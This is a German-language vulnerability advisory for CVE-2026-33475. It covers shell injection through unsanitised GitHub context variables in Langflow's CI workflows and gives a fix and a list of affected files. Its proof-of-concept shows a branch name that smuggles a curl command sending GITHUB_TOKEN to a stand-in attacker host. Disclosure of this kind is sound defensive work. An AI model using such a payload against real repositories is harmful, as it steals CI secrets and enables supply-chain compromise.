CVE-2026-33475
Langflow GitHub Actions Shell-Injection
- Veröffentlicht
- 24.03.2026
- Aktualisiert
- 25.03.2026
- CNA zuweisen
- GitHub_M
- Beweise beobachtet
- 05.09.2026
Primäres CVSS
nvd · CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NNiedrig · nächste 30 Tage
- Perzentil
- 86,5 %
- Modelldatum
- 21.09.2026
EPSS ist eine statistische Schätzung, keine Gewissheit oder ein Maß für die Auswirkung. Kombinieren Sie es mit CVSS, KEV-Status, Belichtung und Ihrer Umgebung.
Zusammenfassung
Langflow ist ein Werkzeug zum Erstellen und Bereitstellen von KI-gestützten Agents und Workflows. In mehreren GitHub-Actions-Workflows im Langflow-Repository vor Version 1.9.0 existiert eine nicht authentifizierte Remote-Shell-Injection-Schwachstelle. Die nicht bereinigte Interpolation von GitHub-Kontextvariablen (z. B. `${{ github.head_ref }}`) in `run:`-Schritten ermöglicht es Angreifern, beliebige Shell-Befehle über einen bösartigen Branchnamen oder Pull-Request-Titel zu injizieren und auszuführen. Dies kann zur Exfiltration von Geheimnissen (z. B. `GITHUB_TOKEN`), zur Manipulation von Infrastruktur oder zur Kompromittierung der Lieferkette während der CI/CD-Ausführung führen. Version 1.9.0 behebt die Schwachstelle. --- ### Details Mehrere Workflows in `.github/workflows/` und `.github/actions/` referenzieren GitHub-Kontextvariablen direkt in `run:`-Shell-Befehlen, wie zum Beispiel: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Oder: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Da `github.head_ref`, `github.event.pull_request.title` und benutzerdefinierte `inputs.*` **benutzerkontrollierte Werte** enthalten können, müssen sie als **nicht vertrauenswürdige Eingabe** behandelt werden. Direkte Interpolation ohne ordnungsgemäßes Quoting oder Bereinigung führt zu Shell-Befehlsinjektion. --- ### PoC 1. **Forken** Sie das Langflow-Repository 2. **Erstellen Sie einen neuen Branch** mit dem Namen: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Öffnen Sie einen Pull Request** zum Hauptbranch von dem neuen Branch aus 4. GitHub Actions führt den betroffenen Workflow aus (z. B. `deploy-docs-draft.yml`) 5. Der `run:`-Schritt, der Folgendes enthält: ```yaml echo "Branch: ${{ github.head_ref }}" ``` führt Folgendes aus: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. Der Angreifer erhält das CI-Geheimnis über die Exfil-URL. --- ### Auswirkungen - **Typ:** Shell-Injection / Remote Code Execution in CI - **Umfang:** Jeder öffentliche Langflow-Fork mit aktiviertem GitHub Actions - **Auswirkung:** Voller Zugriff auf CI-Geheimnisse (z. B. `GITHUB_TOKEN`), Möglichkeit, bösartige Tags oder Images zu pushen, Releases zu manipulieren oder sensible Infrastrukturdaten preiszugeben --- ### Vorgeschlagener Fix Refaktorieren Sie betroffene Workflows, um **Umgebungsvariablen zu verwenden** und sie in **doppelte Anführungszeichen** zu setzen: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Vermeiden Sie direkte `${{ ... }}`-Interpolation innerhalb von `run:` für jeden benutzerkontrollierten Wert. --- ### Betroffene Dateien (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Verantwortungsvoller Umgang
Verwenden Sie Schwachstelleninformationen nur auf Systemen, die Sie besitzen oder zu deren Testen Sie berechtigt sind. Kitploit verlinkt auf öffentliche Forschungsmetadaten und speichert keinen Exploit-Code oder bösartige Payloads.